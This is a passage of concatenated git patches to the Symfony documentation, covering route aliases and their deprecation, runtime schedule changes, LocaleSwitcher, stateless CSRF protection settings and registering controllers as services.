+            <route id="product_show" path="/product/{id}" controller="App\Controller\ProductController::show"/>
         </routes>
 
     .. code-block:: php
@@ -1364,10 +1367,55 @@ Route alias allow you to have multiple name for the same route:
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         return static function (RoutingConfigurator $routes): void {
-            $routes->alias('new_route_name', 'original_route_name');
+            $routes->add('product_show', '/product/{id}')
+                    ->controller('App\Controller\ProductController::show');
         };
 
-In this example, both ``original_route_name`` and ``new_route_name`` routes can
+Now, let's say you want to create a new route called ``product_details``
+that acts exactly the same as ``product_show``.
+
+Instead of duplicating the original route, you can create an alias for it.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/routes.yaml
+        product_show:
+            path: /product/{id}
+            controller: App\Controller\ProductController::show
+
+        product_details:
+            # "alias" option refers to the name of the route declared above
+            alias: product_show
+
+    .. code-block:: xml
+
+        <!-- config/routes.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <routes xmlns="http://symfony.com/schema/routing"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/routing
+                https://symfony.com/schema/routing/routing-1.0.xsd">
+
+            <route id="product_show" path="/product/{id}" controller="App\Controller\ProductController::show"/>
+            <!-- "alias" attribute value refers to the name of the route declared above -->
+            <route id="product_details" alias="product_show"/>
+        </routes>
+
+    .. code-block:: php
+
+        // config/routes.php
+        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+
+        return static function (RoutingConfigurator $routes): void {
+            $routes->add('product_show', '/product/{id}')
+                    ->controller('App\Controller\ProductController::show');
+            // second argument refers to the name of the route declared above
+            $routes->alias('product_details', 'product_show');
+        };
+
+In this example, both ``product_show`` and ``product_details`` routes can
 be used in the application and will produce the same result.
 
 .. _routing-alias-deprecation:
@@ -1375,27 +1423,45 @@ be used in the application and will produce the same result.
 Deprecating Route Aliases
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If some route alias should no longer be used (because it is outdated or
-you decided not to maintain it anymore), you can deprecate its definition:
+Route aliases can be used to provide backward compatibility for routes that
+have been renamed.
+
+Now, let's say you want to replace the ``product_show`` route in favor of
+``product_details`` and mark the old one as deprecated.
+
+In the previous example, the alias ``product_details`` was pointing to
+``product_show`` route.
+
+To mark the ``product_show`` route as deprecated, you need to "switch" the alias.
+The ``product_show`` become the alias, and will now point to the ``product_details`` route.
+This way, the ``product_show`` alias could be deprecated.
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-        new_route_name:
-            alias: original_route_name
+        # Move the concrete route definition under ``product_details``
+        product_details:
+            path: /product/{id}
+            controller: App\Controller\ProductController::show
+
+        # Define the alias and the deprecation under the ``product_show`` definition
+        product_show:
+            alias: product_details
 
             # this outputs the following generic deprecation message:
-            # Since acme/package 1.2: The "new_route_name" route alias is deprecated. You should stop using it, as it will be removed in the future.
+            # Since acme/package 1.2: The "product_show" route alias is deprecated. You should stop using it, as it will be removed in the future.
             deprecated:
                 package: 'acme/package'
                 version: '1.2'
 
-            # you can also define a custom deprecation message (%alias_id% placeholder is available)
+            # or
+
+            # you can define a custom deprecation message (%alias_id% placeholder is available)
             deprecated:
                 package: 'acme/package'
                 version: '1.2'
-                message: 'The "%alias_id%" route alias is deprecated. Do not use it anymore.'
+                message: 'The "%alias_id%" route alias is deprecated. Please use "product_details" instead.'
 
     .. code-block:: xml
 
@@ -1405,35 +1471,46 @@ you decided not to maintain it anymore), you can deprecate its definition:
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
-            <route id="new_route_name" alias="original_route_name">
+            <!-- Move the concrete route definition under ``product_details`` -->
+            <route id="product_details" path="/product/{id}" controller="App\Controller\ProductController::show"/>
+
+            <!-- Define the alias and the deprecation under the ``product_show`` definition -->
+            <route id="product_show" alias="product_details">
                 <!-- this outputs the following generic deprecation message:
-                     Since acme/package 1.2: The "new_route_name" route alias is deprecated. You should stop using it, as it will be removed in the future. -->
+                     Since acme/package 1.2: The "product_show" route alias is deprecated. You should stop using it, as it will be removed in the future. -->
                 <deprecated package="acme/package" version="1.2"/>
 
-                <!-- you can also define a custom deprecation message (%alias_id% placeholder is available) -->
+                <!-- or -->
+
+                <!-- you can define a custom deprecation message (%alias_id% placeholder is available) -->
                 <deprecated package="acme/package" version="1.2">
-                    The "%alias_id%" route alias is deprecated. Do not use it anymore.
+                    The "%alias_id%" route alias is deprecated. Please use "product_details" instead.
                 </deprecated>
             </route>
         </routes>
 
     .. code-block:: php
 
-        $routes->alias('new_route_name', 'original_route_name')
+        $routes->add('product_details', '/product/{id}')
+                ->controller('App\Controller\ProductController::show');
+
+        $routes->alias('product_show', 'product_details')
             // this outputs the following generic deprecation message:
-            // Since acme/package 1.2: The "new_route_name" route alias is deprecated. You should stop using it, as it will be removed in the future.
+            // Since acme/package 1.2: The "product_show" route alias is deprecated. You should stop using it, as it will be removed in the future.
             ->deprecate('acme/package', '1.2', '')
 
-            // you can also define a custom deprecation message (%alias_id% placeholder is available)
+            // or
+
+            // you can define a custom deprecation message (%alias_id% placeholder is available)
             ->deprecate(
                 'acme/package',
                 '1.2',
-                'The "%alias_id%" route alias is deprecated. Do not use it anymore.'
+                'The "%alias_id%" route alias is deprecated. Please use "product_details" instead.'
             )
         ;
 
-In this example, every time the ``new_route_name`` alias is used, a deprecation
-warning is triggered, advising you to stop using that alias.
+In this example, every time the ``product_show`` alias is used, a deprecation
+warning is triggered, advising you to stop using this route and prefer using ``product_details``.
 
 The message is actually a message template, which replaces occurrences of the
 ``%alias_id%`` placeholder by the route alias name. You **must** have

From def8d6b58f1786121227b053cd884257d742a628 Mon Sep 17 00:00:00 2001
From: Florent Morselli <florent.morselli@spomky-labs.com>
Date: Tue, 20 May 2025 16:11:40 +0200
Subject: [PATCH 5646/5766] Add runtime schedule modification feature to docs

Document the new ability introduced in Symfony 6.4 to modify schedules dynamically at runtime. This includes recalculating the internal trigger heap for better control over recurring tasks.
---
 scheduler.rst | 40 ++++++++++++++++++++++++++++++++++++++++
 1 file changed, 40 insertions(+)

diff --git a/scheduler.rst b/scheduler.rst
index 3f2f8d7d2ac..4c5955a9470 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -890,6 +890,46 @@ code::
     use the ``messenger:consume`` command as explained in the previous
     section.
 
+Modifying the Schedule at Runtime
+---------------------------------
+
+.. versionadded:: 6.4
+
+    Modifying the schedule at runtime and recalculating the heap was introduced in Symfony 6.4.
+
+When a recurring message is added to or removed from the schedule,
+the scheduler automatically restarts and recalculates the internal trigger heap.
+This allows dynamic control over scheduled tasks during runtime.
+code::
+
+    // src/Scheduler/DynamicScheduleProvider.php
+    namespace App\Scheduler;
+
+    #[AsSchedule('uptoyou')]
+    class DynamicScheduleProvider implements ScheduleProviderInterface
+    {
+        private ?Schedule $schedule = null;
+
+        public function getSchedule(): Schedule
+        {
+            return $this->schedule ??= (new Schedule())
+                ->with(
+                    // ...
+                )
+            ;
+        }
+
+        public function clearAndAddMessages(): void
+        {
+            // Clear the current schedule (if any) and add new recurring messages
+            $this->schedule?->clear();
+            $this->schedule?->add(
+                RecurringMessage::cron('@hourly', new DoActionMessage()),
+                RecurringMessage::cron('@daily', new DoAnotherActionMessage()),
+            );
+        }
+    }
+
 Debugging the Schedule
 ----------------------
 

From 0d4b75575c53dd9a4bb846051462ece4d95c3c3e Mon Sep 17 00:00:00 2001
From: Jacob Dreesen <jacob@hdreesen.de>
Date: Tue, 20 May 2025 22:56:29 +0200
Subject: [PATCH 5647/5766] Try fixing a list in object_mapper.rst

---
 object_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/object_mapper.rst b/object_mapper.rst
index fe7db2365cf..0eed176c67d 100644
--- a/object_mapper.rst
+++ b/object_mapper.rst
@@ -149,7 +149,7 @@ You can apply the ``#[Map]`` attribute to properties to customize their mapping
 
 * ``target``: Specifies the name of the property in the target object;
 * ``source``: Specifies the name of the property in the source object (useful
-    when mapping is defined on the target, see below);
+  when mapping is defined on the target, see below);
 * ``if``: Defines a condition for mapping the property;
 * ``transform``: Applies a transformation to the value before mapping.
 

From 38c015ca7f845deda55076f6738f2fe6c1804091 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9rage=20K=C3=A9vin?= <therage.kevin@gmail.com>
Date: Tue, 20 May 2025 11:15:12 +0200
Subject: [PATCH 5648/5766] Clarifying LocaleSwitcher's behavior

---
 translation.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/translation.rst b/translation.rst
index 5565c65bdba..8505b916587 100644
--- a/translation.rst
+++ b/translation.rst
@@ -1110,6 +1110,13 @@ just to run some code. Imagine a console command that renders Twig templates
 of emails in different languages. You need to change the locale only to
 render those templates.
 
+.. note::
+
+    The LocaleSwitcher will apply the locale at a request level
+    this means that it will be available only for that request. A
+    redirect, for example, will cancel the LocaleSwitcher's effect.
+    For a permanent locale switch between requests see https://symfony.com/doc/current/session.html#making-the-locale-sticky-during-a-user-s-session.
+
 The ``LocaleSwitcher`` class allows you to change at once the locale
 of:
 

From aa698f8069b4bfc73a2bc3b866e368bcd2304e48 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 May 2025 10:12:34 +0200
Subject: [PATCH 5649/5766] Rewords

---
 translation.rst | 55 ++++++++++++++++++++++---------------------------
 1 file changed, 25 insertions(+), 30 deletions(-)

diff --git a/translation.rst b/translation.rst
index 8505b916587..8d66c21f39b 100644
--- a/translation.rst
+++ b/translation.rst
@@ -1105,25 +1105,11 @@ Switch Locale Programmatically
 
     The ``LocaleSwitcher`` was introduced in Symfony 6.1.
 
-Sometimes you need to change the locale of the application dynamically
-just to run some code. Imagine a console command that renders Twig templates
-of emails in different languages. You need to change the locale only to
-render those templates.
+Sometimes you need to change the application's locale dynamically while running
+some code. For example, a console command that renders email templates in
+different languages. In such cases, you only need to switch the locale temporarily.
 
-.. note::
-
-    The LocaleSwitcher will apply the locale at a request level
-    this means that it will be available only for that request. A
-    redirect, for example, will cancel the LocaleSwitcher's effect.
-    For a permanent locale switch between requests see https://symfony.com/doc/current/session.html#making-the-locale-sticky-during-a-user-s-session.
-
-The ``LocaleSwitcher`` class allows you to change at once the locale
-of:
-
-* All the services that are tagged with ``kernel.locale_aware``;
-* ``\Locale::setDefault()``;
-* If the ``RequestContext`` service is available, the ``_locale``
-  parameter (so urls are generated with the new locale)::
+The ``LocaleSwitcher`` class allows you to do that::
 
     use Symfony\Component\Translation\LocaleSwitcher;
 
@@ -1136,28 +1122,23 @@ of:
 
         public function someMethod(): void
         {
-            // you can get the current application locale like this:
             $currentLocale = $this->localeSwitcher->getLocale();
 
-            // you can set the locale for the entire application like this:
-            // (from now on, the application will use 'fr' (French) as the
-            // locale; including the default locale used to translate Twig templates)
+            // set the application locale programmatically to 'fr' (French):
+            // this affects translation, URL generation, etc.
             $this->localeSwitcher->setLocale('fr');
 
-            // reset the current locale of your application to the configured default locale
-            // in config/packages/translation.yaml, by option 'default_locale'
+            // reset the locale to the default one configured via the
+            // 'default_locale' option in config/packages/translation.yaml
             $this->localeSwitcher->reset();
 
-            // you can also run some code with a certain locale, without
+            // run some code with a specific locale, temporarily, without
             // changing the locale for the rest of the application
             $this->localeSwitcher->runWithLocale('es', function() {
-
-                // e.g. render here some Twig templates using 'es' (Spanish) locale
-
+                // e.g. render templates, send emails, etc. using the 'es' (Spanish) locale
             });
 
-            // you can optionally declare an argument in your callback to receive the
-            // injected locale
+            // optionally, receive the current locale as an argument:
             $this->localeSwitcher->runWithLocale('es', function(string $locale) {
 
                 // here, the $locale argument will be set to 'es'
@@ -1175,6 +1156,20 @@ of:
     :method:`Symfony\\Component\\Translation\\LocaleSwitcher::runWithLocale`
     method was introduced in Symfony 6.4.
 
+The ``LocaleSwitcher`` class changes the locale of:
+
+* All services tagged with ``kernel.locale_aware``;
+* The default locale set via ``\Locale::setDefault()``;
+* The ``_locale`` parameter of the ``RequestContext`` service (if available),
+  so generated URLs reflect the new locale.
+
+.. note::
+
+    The LocaleSwitcher applies the new locale only for the current request,
+    and its effect is lost on subsequent requests, such as after a redirect.
+
+    See :ref:`how to make the locale persist across requests <locale-sticky-session>`.
+
 When using :ref:`autowiring <services-autowire>`, type-hint any controller or
 service argument with the :class:`Symfony\\Component\\Translation\\LocaleSwitcher`
 class to inject the locale switcher service. Otherwise, configure your services

From 07ef56369b8b519999fa51abf16feb8156804785 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Wed, 21 May 2025 10:28:05 +0200
Subject: [PATCH 5650/5766] fix: no bundle involved

---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 103ba869611..6abf5fa7928 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -649,7 +649,7 @@ automatically! You can simplify the controller to::
         }
     }
 
-That's it! The bundle uses the ``{id}`` from the route to query for the ``Product``
+That's it! The attribute uses the ``{id}`` from the route to query for the ``Product``
 by the ``id`` column. If it's not found, a 404 page is generated.
 
 .. tip::

From e12256ce2df50fdf97ca28eaa866c28a2255ba97 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 May 2025 10:33:40 +0200
Subject: [PATCH 5651/5766] Rewords

---
 reference/configuration/framework.rst |  28 +++----
 security/csrf.rst                     | 108 +++++++++++++-------------
 2 files changed, 71 insertions(+), 65 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 23baa21642e..464b61dd69b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -857,36 +857,38 @@ stateless_token_ids
 
 **type**: ``array`` **default**: ``[]``
 
-The list of CSRF token ids that will use stateless CSRF protection.
+The list of CSRF token ids that will use :ref:`stateless CSRF protection <csrf-stateless-tokens>`.
 
 .. versionadded:: 7.2
 
-    This option was added in Symfony 7.2 to aid in configuring stateless CSRF protection.
+    The ``stateless_token_ids`` option was introduced in Symfony 7.2.
 
 check_header
 ............
 
 **type**: ``integer`` or ``bool`` **default**: ``false``
 
-Whether to check the CSRF token in a header in addition to a cookie when using stateless protection.
-Can be set to ``2`` (the value of the ``CHECK_ONLY_HEADER`` constant on the
-:class:`Symfony\\Component\\Security\\Csrf\\SameOriginCsrfTokenManager` class) to check only the header
-and not the cookie.
+Whether to check the CSRF token in an HTTP header in addition to the cookie when
+using :ref:`stateless CSRF protection <csrf-stateless-tokens>`. You can also set
+this to ``2`` (the value of the ``CHECK_ONLY_HEADER`` constant on the
+:class:`Symfony\\Component\\Security\\Csrf\\SameOriginCsrfTokenManager` class)
+to check only the header and ignore the cookie.
 
 .. versionadded:: 7.2
 
-    This option was added in Symfony 7.2 to aid in configuring stateless CSRF protection.
+    The ``check_header`` option was introduced in Symfony 7.2.
 
 cookie_name
 ...........
 
 **type**: ``string`` **default**: ``csrf-token``
 
-The name of the cookie (and header) to use for the double-submit when using stateless protection.
+The name of the cookie (and HTTP header) to use for the double-submit when using
+:ref:`stateless CSRF protection <csrf-stateless-tokens>`.
 
 .. versionadded:: 7.2
 
-    This option was added in Symfony 7.2 to aid in configuring stateless CSRF protection.
+    The ``cookie_name`` option was introduced in Symfony 7.2.
 
 .. _config-framework-default_locale:
 
@@ -1213,16 +1215,16 @@ field_attr
 
 **type**: ``array`` **default**: ``['data-controller' => 'csrf-protection']``
 
-This is the HTML attributes that should be added to the CSRF token field of your forms.
+HTML attributes to add to the CSRF token field of your forms.
 
 token_id
 ''''''''
 
 **type**: ``string`` **default**: ``null``
 
-This is the CSRF token id that should be used for validating the CSRF tokens of your forms.
-Note that this setting applies only to autoconfigured form types, which usually means only
-to your own form types and not to form types registered by third-party bundles.
+The CSRF token ID used to validate the CSRF tokens of your forms. This setting
+applies only to form types that use :ref:`service autoconfiguration <services-autoconfigure>`,
+which typically means your own form types, not those registered by third-party bundles.
 
 fragments
 ~~~~~~~~~
diff --git a/security/csrf.rst b/security/csrf.rst
index 2e7369d170f..b303af9511b 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -34,9 +34,9 @@ unique tokens added to forms as hidden fields. The legit server validates them t
 ensure that the request originated from the expected source and not some other
 malicious website.
 
-Anti-CSRF tokens can be managed either in a stateful way: they're put in the
-session and are unique for each user and for each kind of action, or in a
-stateless way: they're generated on the client-side.
+Anti-CSRF tokens can be managed in two ways: using a **stateful** approach,
+where tokens are stored in the session and are unique per user and action; or a
+**stateless** approach, where tokens are generated on the client side.
 
 Installation
 ------------
@@ -106,7 +106,7 @@ protected forms, among them:
   field value with it.
 
 The most effective way to cache pages that need CSRF protected forms is to use
-stateless CSRF tokens, see below.
+:ref:`stateless CSRF tokens <csrf-stateless-tokens>`, as explained below.
 
 .. _csrf-protection-forms:
 
@@ -310,6 +310,8 @@ targeted parts of the plaintext. To mitigate these attacks, and prevent an
 attacker from guessing the CSRF tokens, a random mask is prepended to the token
 and used to scramble it.
 
+.. _csrf-stateless-tokens:
+
 Stateless CSRF Tokens
 ---------------------
 
@@ -363,28 +365,31 @@ option:
             ;
         };
 
-Stateless CSRF tokens use a CSRF protection that doesn't need the session. This
-means that you can cache the entire page and still have CSRF protection.
+Stateless CSRF tokens provide protection without relying on the session. This
+allows you to fully cache pages while still protecting against CSRF attacks.
 
-When a stateless CSRF token is checked for validity, Symfony verifies the
-``Origin`` and the ``Referer`` headers of the incoming HTTP request.
+When validating a stateless CSRF token, Symfony checks the ``Origin`` and
+``Referer`` headers of the incoming HTTP request. If either header matches the
+application's target origin (i.e. its domain), the token is considered valid.
 
-If either of these headers match the target origin of the application (its domain
-name), the CSRF token is considered valid. This relies on the app being able to
-know its own target origin. Don't miss configuring your reverse proxy if you're
-behind one. See :doc:`/deployment/proxies`.
+This mechanism relies on the application being able to determine its own origin.
+If you're behind a reverse proxy, make sure it's properly configured. See
+:doc:`/deployment/proxies`.
 
 Using a Default Token ID
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
-While stateful CSRF tokens are better seggregated per form or action, stateless
-ones don't need many token identifiers. In the previous example, ``authenticate``
-and ``logout`` are listed because they're the default identifiers used by the
-Symfony Security component. The ``submit`` identifier is then listed so that
-form types defined by the application can use it by default. The following
-configuration - which applies only to form types declared using autofiguration
-(the default way to declare *your* services) - will make your form types use the
-``submit`` token identifier by default:
+Stateful CSRF tokens are typically scoped per form or action, while stateless
+tokens don't require many identifiers.
+
+In the example above, the ``authenticate`` and ``logout`` identifiers are listed
+because they are used by default in the Symfony Security component. The ``submit``
+identifier is included so that form types defined by the application can also use
+CSRF protection by default.
+
+The following configuration applies only to form types registered via
+:ref:`autoconfiguration <services-autoconfigure>` (which is the default for your
+own services), and it sets ``submit`` as their default token identifier:
 
 .. configuration-block::
 
@@ -433,41 +438,40 @@ option will use the stateless CSRF protection.
 Generating CSRF Token Using Javascript
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-In addition to the ``Origin`` and ``Referer`` headers, stateless CSRF protection
-also checks a cookie and a header (named ``csrf-token`` by default, see the
-:ref:`CSRF configuration reference <reference-framework-csrf-protection>`).
-
-These extra checks are part of defense-in-depth strategies provided by the
-stateless CSRF protection. They are optional and they require
-`some JavaScript`_ to be activated. This JavaScript is responsible for generating
-a crypto-safe random token when a form is submitted, then putting the token in
-the hidden CSRF field of the form and submitting it also as a cookie and header.
-On the server-side, the CSRF token is validated by checking the cookie and header
-values. This "double-submit" protection relies on the same-origin policy
-implemented by browsers and is strengthened by regenerating the token at every
-form submission - which prevents cookie fixation issues - and by using
-``samesite=strict`` and ``__Host-`` cookies, which make them domain-bound and
-HTTPS-only.
-
-Note that the default snippet of JavaScript provided by Symfony requires that
-the hidden CSRF form field is either named ``_csrf_token``, or that it has the
-``data-controller="csrf-protection"`` attribute. You can of course take
-inspiration from this snippet to write your own, provided you follow the same
-protocol.
-
-As a last measure, a behavioral check is added on the server-side to ensure that
-the validation method cannot be downgraded: if and only if a session is already
-available, successful "double-submit" is remembered and is then required for
-subsequent requests. This prevents attackers from exploiting potentially reduced
-validation checks once cookie and/or header validation has been confirmed as
-effective (they're optional by default as explained above).
+In addition to the ``Origin`` and ``Referer`` HTTP headers, stateless CSRF protection
+can also validate tokens using a cookie and a header (named ``csrf-token`` by
+default; see the :ref:`CSRF configuration reference <reference-framework-csrf-protection>`).
+
+These additional checks are part of the **defense-in-depth** strategy provided by
+stateless CSRF protection. They are optional and require `some JavaScript`_ to
+be enabled. This JavaScript generates a cryptographically secure random token
+when a form is submitted. It then inserts the token into the form's hidden CSRF
+field and sends it in both a cookie and a request header.
+
+On the server side, CSRF token validation compares the values in the cookie and
+the header. This "double-submit" protection relies on the browser's same-origin
+policy and is further hardened by:
+
+* generating a new token for each submission (to prevent cookie fixation);
+* using ``samesite=strict`` and ``__Host-`` cookie attributes (to enforce HTTPS
+  and limit the cookie to the current domain).
+
+By default, the Symfony JavaScript snippet expects the hidden CSRF field to be
+named ``_csrf_token`` or to include the ``data-controller="csrf-protection"``
+attribute. You can adapt this logic to your needs as long as the same protocol
+is followed.
+
+To prevent validation from being downgraded, an extra behavioral check is performed:
+if (and only if) a session already exists, successful "double-submit" is remembered
+and becomes required for future requests. This ensures that once the optional cookie/header
+validation has been proven effective, it remains enforced for that session.
 
 .. note::
 
-    Enforcing successful "double-submit" for every requests is not recommended as
-    as it could lead to a broken user experience. The opportunistic approach
-    described above is preferred because it allows the application to gracefully
-    degrade to ``Origin`` / ``Referer`` checks when JavaScript is not available.
+    Enforcing "double-submit" validation on all requests is not recommended,
+    as it may lead to a broken user experience. The opportunistic approach
+    described above is preferred, allowing the application to gracefully
+    fall back to ``Origin`` / ``Referer`` checks when JavaScript is unavailable.
 
 .. _`Cross-site request forgery`: https://en.wikipedia.org/wiki/Cross-site_request_forgery
 .. _`BREACH`: https://en.wikipedia.org/wiki/BREACH

From f97b8d59f092fcbc14ea54daa9b59adfb33093ce Mon Sep 17 00:00:00 2001
From: Santiago San Martin <sanmartindev@gmail.com>
Date: Sun, 18 May 2025 11:52:46 -0300
Subject: [PATCH 5652/5766] [Security]
 iscsrftokenvalid-attribute-controller-usage

---
 security/csrf.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/security/csrf.rst b/security/csrf.rst
index b303af9511b..cc1ab42482d 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -281,6 +281,20 @@ Suppose you want a CSRF token per item, so in the template you have something li
         <button type="submit">Delete item</button>
     </form>
 
+In addition :class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid`
+attribute can be applied to a controller class.
+This will cause the CSRF token validation to be executed for all routes defined within the controller::
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid;
+    // ...
+
+    #[IsCsrfTokenValid('controller')]
+    final class FooController extends AbstractController
+    {
+        // ...
+    }
+
 The :class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid`
 attribute also accepts an :class:`Symfony\\Component\\ExpressionLanguage\\Expression`
 object evaluated to the id::

From 83b30927029e9f60cc4c4a77edba2bbd6bda5f2f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 May 2025 17:45:51 +0200
Subject: [PATCH 5653/5766] Minor tweaks

---
 security/csrf.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index cc1ab42482d..b72c7cc2526 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -281,16 +281,16 @@ Suppose you want a CSRF token per item, so in the template you have something li
         <button type="submit">Delete item</button>
     </form>
 
-In addition :class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid`
-attribute can be applied to a controller class.
-This will cause the CSRF token validation to be executed for all routes defined within the controller::
+This attribute can also be applied to a controller class. When used this way,
+the CSRF token validation will be applied to **all actions** defined in that
+controller::
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid;
     // ...
 
-    #[IsCsrfTokenValid('controller')]
-    final class FooController extends AbstractController
+    #[IsCsrfTokenValid('the token ID')]
+    final class SomeController extends AbstractController
     {
         // ...
     }

From 53e3b0dece9748ae7f45e1b59ef3b7fd37bc9975 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 23 May 2025 08:43:43 +0200
Subject: [PATCH 5654/5766] Mention that backward compatibility promise doesn't
 cover translations

---
 contributing/code/bc.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index 497c70fb01d..ad394d2720c 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -176,6 +176,13 @@ covered by our backward compatibility promise:
 | Use a public, protected or private method     | Yes                         |
 +-----------------------------------------------+-----------------------------+
 
+Using our Translations
+~~~~~~~~~~~~~~~~~~~~~~
+
+All translations provided by Symfony for security and validation errors are
+intended for internal use only. They may be changed or removed at any time.
+Symfony's Backward Compatibility Promise does not apply to internal translations.
+
 Working on Symfony Code
 -----------------------
 

From 2c33c3623d631fc631bf75d3a5dcfbfb3d2c259f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 23 May 2025 09:12:33 +0200
Subject: [PATCH 5655/5766] [FrameworkBundle] Enable controller service with
 #[Route] attribute

---
 controller/service.rst | 84 +++++++++++++++++++++++++++++-------------
 routing.rst            |  2 +
 2 files changed, 61 insertions(+), 25 deletions(-)

diff --git a/controller/service.rst b/controller/service.rst
index 88af093ff29..cf83e066a19 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -7,11 +7,65 @@ and your controllers extend the `AbstractController`_ class, they *are* automati
 registered as services. This means you can use dependency injection like any
 other normal service.
 
-If your controllers don't extend the `AbstractController`_ class, you must
-explicitly mark your controller services as ``public``. Alternatively, you can
-apply the ``controller.service_arguments`` tag to your controller services. This
-will make the tagged services ``public`` and will allow you to inject services
-in method parameters:
+If you prefer to not extend the ``AbstractController`` class, you can register
+your controllers as services in several ways:
+
+#. Using the ``#[Route]`` attribute;
+#. Using the ``#[AsController]`` attribute;
+#. Using the ``controller.service_arguments`` service tag.
+
+Using the ``#[Route]`` Attribute
+--------------------------------
+
+When using :ref:`the #[Route] attribute <routing-route-attributes>` to define
+routes on any PHP class, Symfony treats that class as a controller. It registers
+it as a public, non-lazy service and enables service argument injection in all
+its methods.
+
+This is the simplest and recommended way to register controllers as services
+when not extending the base controller class.
+
+.. versionadded:: 7.3
+
+    The feature to register controllers as services when using the ``#[Route]``
+    attribute was introduced in Symfony 7.3.
+
+Using the ``#[AsController]`` Attribute
+---------------------------------------
+
+If you prefer, you can use the ``#[AsController]`` PHP attribute to automatically
+apply the ``controller.service_arguments`` tag to your controller services::
+
+    // src/Controller/HelloController.php
+    namespace App\Controller;
+
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Attribute\AsController;
+    use Symfony\Component\Routing\Attribute\Route;
+
+    #[AsController]
+    class HelloController
+    {
+        #[Route('/hello', name: 'hello', methods: ['GET'])]
+        public function index(): Response
+        {
+            // ...
+        }
+    }
+
+.. tip::
+
+    When using the ``#[Route]`` attribute, Symfony already registers the controller
+    class as a service, so using the ``#[AsController]`` attribute is redundant.
+
+Using the ``controller.service_arguments`` Service Tag
+------------------------------------------------------
+
+If your controllers don't extend the `AbstractController`_ class and you don't
+use the ``#[AsController]`` or ``#[Route]`` attributes, you must register the
+controllers as public services manually and apply the ``controller.service_arguments``
+:doc:`service tag </service_container/tags>` to enable service injection in
+controller actions:
 
 .. configuration-block::
 
@@ -58,26 +112,6 @@ in method parameters:
             calls:
                 - [setContainer, ['@abstract_controller.locator']]
 
-If you prefer, you can use the ``#[AsController]`` PHP attribute to automatically
-apply the ``controller.service_arguments`` tag to your controller services::
-
-    // src/Controller/HelloController.php
-    namespace App\Controller;
-
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\HttpKernel\Attribute\AsController;
-    use Symfony\Component\Routing\Attribute\Route;
-
-    #[AsController]
-    class HelloController
-    {
-        #[Route('/hello', name: 'hello', methods: ['GET'])]
-        public function index(): Response
-        {
-            // ...
-        }
-    }
-
 Registering your controller as a service is the first step, but you also need to
 update your routing config to reference the service properly, so that Symfony
 knows to use it.
diff --git a/routing.rst b/routing.rst
index e634a410c37..b8b2437ee3e 100644
--- a/routing.rst
+++ b/routing.rst
@@ -18,6 +18,8 @@ your favorite.
 :ref:`Symfony recommends attributes <best-practice-controller-attributes>`
 because it's convenient to put the route and controller in the same place.
 
+.. _routing-route-attributes:
+
 Creating Routes as Attributes
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 310783b4c0a9f1b329c010b1c20dcdfed5643400 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 23 May 2025 09:55:29 +0200
Subject: [PATCH 5656/5766] [Translation] Don't mention the abandoned Doctrine
 Translatable behavior

---
 translation.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/translation.rst b/translation.rst
index b9fbdd7e0f6..f41d0cb6489 100644
--- a/translation.rst
+++ b/translation.rst
@@ -599,8 +599,7 @@ Translations of Doctrine Entities
 
 Unlike the contents of templates, it's not practical to translate the contents
 stored in Doctrine Entities using translation catalogs. Instead, use the
